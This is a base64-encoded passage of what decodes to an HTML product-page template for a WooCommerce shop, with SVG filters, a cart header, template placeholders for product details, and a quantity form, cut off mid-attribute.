9vY29tbWVyY2UtcGFnZSB3b29jb21tZXJjZS1uby1qcyBsb2dpbi1wb3B1cCB3aWRlIGJsb2ctMSBib2R5LXNpZGUgZWxlbWVudG9yLWRlZmF1bHQgZWxlbWVudG9yLWtpdC0yMTUyIj4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWRhcmstZ3JheXNjYWxlIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZ3JheXNjYWxlIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLXllbGxvdyI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTQ5MDE5NjA3ODQzMTQgMC45ODgyMzUyOTQxMTc2NSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43MTc2NDcwNTg4MjM1MyAwLjI1NDkwMTk2MDc4NDMxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtcmVkIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC4yNzg0MzEzNzI1NDkwMiIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU5MjE1Njg2Mjc0NTEgMC4yNzg0MzEzNzI1NDkwMiIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1taWRuaWdodCI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjQ3MDU4ODIzNTI5NDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1hZ2VudGEteWVsbG93Ij4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43ODAzOTIxNTY4NjI3NSAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC45NDkwMTk2MDc4NDMxNCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjM1Mjk0MTE3NjQ3MDU5IDAuNDcwNTg4MjM1Mjk0MTIiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLWdyZWVuIj4KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC42NTA5ODAzOTIxNTY4NiAwLjQwMzkyMTU2ODYyNzQ1Ii8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjQ0NzA1ODgyMzUyOTQxIDAuNCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLW9yYW5nZSI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMDk4MDM5MjE1Njg2Mjc1IDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY2Mjc0NTA5ODAzOTIyIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuODQ3MDU4ODIzNTI5NDEgMC40MTk2MDc4NDMxMzcyNSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxkaXYgY2xhc3M9InBhZ2Utd3JhcHBlciBzaWRlLW5hdiI+PCEtLSBwYWdlIHdyYXBwZXIgLS0+CgogICAgPCEtLSBoZWFkZXIgd3JhcHBlciAtLT4KICAgIDxkaXYgY2xhc3M9ImhlYWRlci13cmFwcGVyIGhlYWRlci1zaWRlLW5hdiBzaWRlLW5hdi13cmFwIj4KICAgICAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNsYXNzPSJoZWFkZXItc2lkZSBzdGlja3ktbWVudS1oZWFkZXIiIGRhdGEtcGx1Z2luLXN0aWNreQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLW1haW4gc2hvdy1taW5pY2FydCI+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2NhdGVnb3J5fX0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSJqYXZhc2NyaXB0OjsiPjxpIGNsYXNzPSJmYXMgZmEtYmFycyI+PC9pPjwvYT4KCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1pbmktY2FydCIgY2xhc3M9Im1pbmktY2FydCBzaW1wbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImNhcnQtaXRlbXMiPjA8L3NwYW4+PC9zcGFuPjxzcGFuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcy10ZXh0Ij4wIGl0ZW1zPC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aWRnZXRfc2hvcHBpbmdfY2FydF9jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtbG9hZGluZyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9oZWFkZXI+CgogICAgPC9kaXY+CiAgICA8IS0tIGVuZCBoZWFkZXIgd3JhcHBlciAtLT4KCiAgICA8ZGl2IGNsYXNzPSJjb250ZW50LXdyYXBwZXIiPgoKICAgICAgICA8c2VjdGlvbiBjbGFzcz0icGFnZS10b3AgcGFnZS1oZWFkZXItNiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciBoaWRlLXRpdGxlIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfYnJlYWRjcnVtYn19CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9zZWN0aW9uPgoKICAgICAgICA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY29sdW1uMSBib3hlZCI+PCEtLSBtYWluIC0tPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+CgogICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBjb250ZW50IC0tPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPgoKCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1haW4gaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLW1haW4iPgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id29vY29tbWVyY2Utbm90aWNlcy13cmFwcGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJwcm9kdWN0LWl0ZW0iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0icHJvZHVjdCB0eXBlLXByb2R1Y3QgcG9zdC1pdGVtIHN0YXR1cy1wdWJsaXNoIGZpcnN0IGluc3RvY2sgaGFzLXBvc3QtdGh1bWJuYWlsIHNhbGUgc2hpcHBpbmctdGF4YWJsZSBwdXJjaGFzYWJsZSBwcm9kdWN0LXR5cGUtc2ltcGxlIHByb2R1Y3QtbGF5b3V0LWRlZmF1bHQiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZHVjdC1zdW1tYXJ5LXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdW1tYXJ5LWJlZm9yZSBjb2wtbWQtNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxhYmVscyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJvbnNhbGUiPi00MCU8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX3Byb2R1Y3RfaW1hZ2VzfX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VtbWFyeSBlbnRyeS1zdW1tYXJ5IGNvbC1tZC03Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF90aXRsZX19CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX3Byb2R1Y3RfcHJpY2V9fQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0X21ldGEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9tZXRhfX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImNhcnQiIGFjdGlvbj0iLyIgbWV0aG9kPSJwb3N0IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJxdWFudGl0eSBidXR0b25zX2FkZGVkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ii0iIGNsYXNzPSJtaW51cyI+LTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHlwZT0ibnVtYmVyIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWQ9InF1YW50aXR5XzY2NGVlMTg3MGRlZWIiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iaW5wdXQtdGV4dCBxdHkgdGV4dCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZXA9IjEiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtaW49IjEiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXg9IjQ4IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmFtZT0i